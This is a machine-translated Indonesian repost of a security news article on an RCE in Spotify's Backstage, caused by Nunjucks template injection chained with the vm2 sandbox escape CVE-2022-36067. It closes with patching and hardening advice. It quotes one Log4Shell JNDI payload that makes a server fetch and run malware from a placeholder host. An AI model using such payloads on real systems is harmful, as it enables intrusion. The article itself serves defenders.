Lubang eksekusi kode seperti Log4Shell di alat pengembang Backstage yang populer, PlatoBlockchain Data Intelligence. Pencarian Vertikal. Ai.

Lubang eksekusi kode seperti Log4Shell di alat dev Backstage yang populer

Para peneliti di perusahaan keamanan cloud coding Oxeye telah menulis bug kritis yang baru-baru ini mereka temukan di perangkat pengembangan cloud populer Backstage.

Mereka melaporkan termasuk penjelasan tentang cara kerja bug, ditambah kode proof-of-concept (PoC) yang menunjukkan cara mengeksploitasinya.

Backstage adalah apa yang dikenal sebagai portal pengembang cloud โ€“ semacam backend logika bisnis yang memudahkan pembuatan API berbasis web (antarmuka pemrograman aplikasi) untuk memungkinkan pembuat kode di dalam dan di luar bisnis Anda berinteraksi dengan layanan online Anda.

Dalam kata-kata proyek itu sendiri, awalnya dibuat di Spotify tetapi sekarang bersumber terbuka di GutHub:

Backstage adalah platform terbuka untuk membangun portal pengembang. Didukung oleh katalog perangkat lunak terpusat, Backstage mengembalikan pesanan ke layanan mikro dan infrastruktur Anda dan memungkinkan tim produk Anda mengirimkan kode berkualitas tinggi dengan cepat โ€” tanpa mengorbankan otonomi.

Backstage menyatukan semua perkakas infrastruktur, layanan, dan dokumentasi Anda untuk menciptakan lingkungan pengembangan yang disederhanakan dari ujung ke ujung.

Tidak, kami juga tidak benar-benar tahu apa artinya, tetapi kami tahu bahwa toolkit ini ditulis dalam JavaScript, berjalan menggunakan sistem JavaScript sisi server node.js, dan menarik jaring ketergantungan rantai pasokan dari ekosistem NPM.

NPM adalah singkatan dari Manajer Paket Node, sebuah toolkit otomatis untuk memastikan bahwa kode JavaScript back-end Anda dapat dengan mudah menggunakan berbagai pustaka sumber terbuka yang menyediakan alat bantu populer yang telah ditulis sebelumnya untuk segala hal mulai dari kriptografi dan manajemen database hingga logging dan kontrol versi.

Eksekusi kode jarak jauh

Sayangnya, bug yang diungkapkan hari ini, jika tidak ditambal, dapat memberikan orang luar yang tidak diautentikasi (biasanya, siapa pun yang dapat membuat koneksi API ke server Anda) cara untuk memicu eksekusi kode jarak jauh (RCE) di dalam server logika bisnis di jaringan Anda.

Untungnya, bagaimanapun, jika kami telah menafsirkan tulisan Oxeye dengan benar, serangan yang mereka gambarkan untuk Backstage RCE mereka bergantung pada urutan kesalahan pengkodean yang pada akhirnya bergantung pada bug tertentu, yang ditunjuk CVE-2022-36067 dalam komponen rantai pasokan yang diandalkan Backstage disebut vm2.

Jika Anda bertanya-tanya, vm2 adalah modul NPM tujuan umum yang mengimplementasikan "kotak pasir mesin virtual" yang bertujuan untuk membuat JavaScript yang berpotensi berisiko sedikit lebih aman untuk dijalankan di server Anda.

Bug CVE-2022-36067 di vm2 itu melaporkan kembali pada Agustus 2022 oleh Oxeye sendiri (yang memberinya nama ramah PR "Sandbreak", karena pecah dari kotak pasir), dan segera ditambal oleh tim vm2 hampir tiga bulan lalu.

Jadi, sejauh yang dapat kami lihat, jika Anda adalah pengguna Backstage, Anda pasti ingin memastikan bahwa Anda telah menambal semua komponen berisiko di penyiapan Backstage Andaโ€ฆ

โ€ฆ tetapi jika Anda menambal komponen vm2 yang rentan terhadap Sandbreak beberapa bulan yang lalu, tampaknya Anda tidak secara langsung rentan terhadap eksploit yang dijelaskan dalam pengungkapan terbaru Oxeye.

Selain itu, jika server Backstage Anda dikonfigurasi seperti yang disarankan oleh pedoman keamanan siber yang baik, dengan autentikasi yang diperlukan di tepi jaringan dan di dalam jaringan, Anda tidak akan menghadapi risiko pemeriksaan acak "untuk tujuan peneliti saja" dari individu "bermanfaat" yang ditentukan untuk menunjukkan bahwa mereka tertarik dengan โ€œpenelitianโ€ ancaman siber.

Serangan "keju Emmenthal".

Sederhananya, masalah keamanan yang baru terungkap adalah efek samping dari serangkaian masalah keamanan, seperti lubang di irisan keju Emmenthal yang dapat ditembus secara berurutan jika penyerang mampu membuat setidaknya satu lubang di setiap irisan.

Seperti yang kami pahami, Backstage menyertakan komponen yang disebut Scaffolder, yang, seperti namanya, membantu Anda mengelola berbagai tambahan (dikenal sebagai plugin) yang mungkin diinginkan atau dibutuhkan oleh komunitas pengembang Anda.

Scaffolder, pada gilirannya, menggunakan sistem pencatatan pesan dari Mozilla yang dikenal sebagai Nunjucks, yang mencakup apa yang dikenal sebagai templat string in node.js lingkaran, sebagai interpolasi string di dunia Jawa, dan sebagai substitusi string ke sysadmin yang menggunakan shell perintah seperti Bash.

Jika interpolasi string membunyikan lonceng, itu mungkin karena terletak di jantung Log4Shell kerentanan kembali pada Desember 2021, dan dari folina bug di pertengahan 2022.

Di situlah Anda dapat menulis ulang konten pesan logging berdasarkan "karakter pengkodean" khusus dalam templat string, sehingga string seperti $USER mungkin diganti dengan nama akun yang digunakan oleh server, atau ${PID} mungkin mengambil ID proses saat ini.

Dalam kasus ekstrim Log4Shell, mantra yang tampak aneh ${jndi:ldap://example.com:8888/malware} bisa langsung mengelabui server agar mengunduh program bernama malware dari example.com dan diam-diam menjalankannya di latar belakang.

Dengan kata lain, Anda harus benar-benar memastikan bahwa data yang datang dari sumber yang tidak tepercaya, seperti pengguna luar, tidak pernah diteruskan secara membabi buta ke dalam templat string atau fungsi interpolasi string yang akan digunakan. sebagai teks template itu sendiri.

Jika pengguna jarak jauh, misalnya, mencoba mengelabui server Anda dengan memberikan nama pengguna mereka sebagai ${{RISKY}} (dengan asumsi perpustakaan template menggunakan ${{...}} sebagai penanda khususnya), Anda perlu memastikan bahwa kode logging Anda akan merekam teks yang tampak nakal itu dengan benar seperti yang diterimaโ€ฆ

โ€ฆdaripada membiarkan teks yang sedang dicatat mengambil kendali atas fungsi logging itu sendiri!

Dalam kata-kata sajak anak-anak lama, Anda perlu memastikan bahwa Anda tidak berakhir dengan menyanyikan, โ€œAda lubang di ${{BUCKET}}, Liza sayang, Liza sayang, ada lubang di tubuhku ${{BUCKET}}, Liza sayang. Lubang!"

Dibungkus dengan selimut pengaman

Agar adil, fungsionalitas templating/interpolasi Nunjucks yang mungkin terlalu kuat dibungkus oleh Backstage di dalam komponen rantai pasokan lainnya, yaitu sistem kotak pasir vm2 yang disebutkan di atas, yang seharusnya membatasi bahaya yang dapat dilakukan pengguna jahat dengan booby -data masukan yang terperangkap.

Sayangnya, peneliti Oxeye dapat memasangkan jalur pemicu kode templat string yang baru ditemukan di Backstage + Scaffolder + Nunjucks dengan kerentanan CVE-2022-36067 yang lebih lama di pembungkus keamanan vm2 untuk mencapai potensi eksekusi kode jarak jauh di server Backstage .

Apa yang harus dilakukan?

Jika Anda pengguna Backstage:

  • Pastikan Anda memiliki Backstage versi terbaru dan dependensinya, termasuk plugin-scaffolder-backend komponen. Menurut Oxeye, bug yang relevan dalam kode Backstage telah ditambal pada 01 September 2022, sehingga setiap rilis poin resmi setelah data tersebut harus menyertakan perbaikan. Pada saat penulisan [2022-11-1T16:00Z], itu termasuk Backstage 1.6.0, 1.7.0 dan 1.8.0, dirilis masing-masing pada 2022-09-21, 2022-10-18, dan 2022-11-15.
  • Periksa apakah instalasi Backstage Anda memiliki autentikasi yang dikonfigurasi seperti yang Anda harapkan. Oxeye mengklaim bahwa otentikasi dinonaktifkan secara default, dan setelah mengikuti Pedoman di belakang panggung, server backend (yang mungkin tidak seharusnya diekspos secara eksternal) masih mengizinkan akses yang tidak diautentikasi. Itu mungkin yang Anda inginkan, tetapi kami menyarankan untuk menggunakan masalah ini sebagai alasan untuk memeriksa apakah penyiapan Anda sesuai dengan keinginan Anda.
  • Periksa bagian mana dari infrastruktur Backstage Anda yang dapat dijangkau dari internet. Sekali lagi, gunakan masalah ini sebagai alasan untuk memindai jaringan Anda sendiri dari luar jika Anda belum melakukannya baru-baru ini.

Jika Anda adalah pengguna node.js/NPM:

  • Pastikan Anda memiliki komponen kotak pasir vm2 versi terbaru. Anda mungkin memasang ini sebagai ketergantungan perangkat lunak lain yang Anda gunakan, bahkan jika Anda tidak memiliki Backstage. Kerentanan CVE-2022-36067 telah ditambal pada 2022-08-28, jadi Anda menginginkan versi vm2 3.9.11 atau nanti.

Jika Anda seorang pemrogram:

  • Bersikaplah defensif saat Anda memanggil fungsi logging yang kuat. Jika Anda menggunakan layanan logging (termasuk Nunjucks atau Log4J) yang menyertakan fitur templating/interpolasi yang kuat, matikan semua fitur yang tidak Anda perlukan agar tidak dapat dieksploitasi secara tidak sengaja. Pastikan bahwa input yang tidak dipercaya tidak pernah digunakan sebagai template, sehingga mencegah penyerang menggulirkan string input berbahaya mereka sendiri.
  • Terlepas dari tindakan pencegahan lainnya, bersihkan input dan output logging Anda. Ingatlah bahwa orang lain perlu membuka file log Anda di masa mendatang. Jangan biarkan booby-traps yang tidak disengaja untuk ditulis ke dalam file log Anda di mana mereka dapat menyebabkan masalah di kemudian hari, seperti fragmen HTML dengan tag skrip yang tersisa. (Seseorang mungkin membuka file di browser secara tidak sengaja.)

Bahkan ketika Anda menerima input dari sumber tepercaya, jarang ada alasan untuk tidak memeriksanya sebelum Anda menggunakannya.

(Anda kadang-kadang dapat membenarkan pengecualian, misalnya untuk alasan kinerja, tetapi itu harus menjadi pengecualian, bukan aturannya.)

Pertama, memeriksa kembali membantu Anda menemukan kesalahan yang mungkin dibuat oleh pembuat kode sebelumnya dengan itikad baik; kedua, ini membantu membatasi penyebaran data yang buruk atau jebakan jika beberapa bagian lain dari ekosistem Anda disusupi.

Hal tentang irisan keju Emmenthal yang kami sebutkan sebelumnya adalah bahwa meskipun dapat ditembus jika setidaknya satu lubang berbaris di setiap lembarโ€ฆ

โ€ฆmereka kedap air jika setidaknya ada satu lembar dengan lubang yang tidak sejajar sama sekali!


Stempel Waktu:

Lebih dari Keamanan Telanjang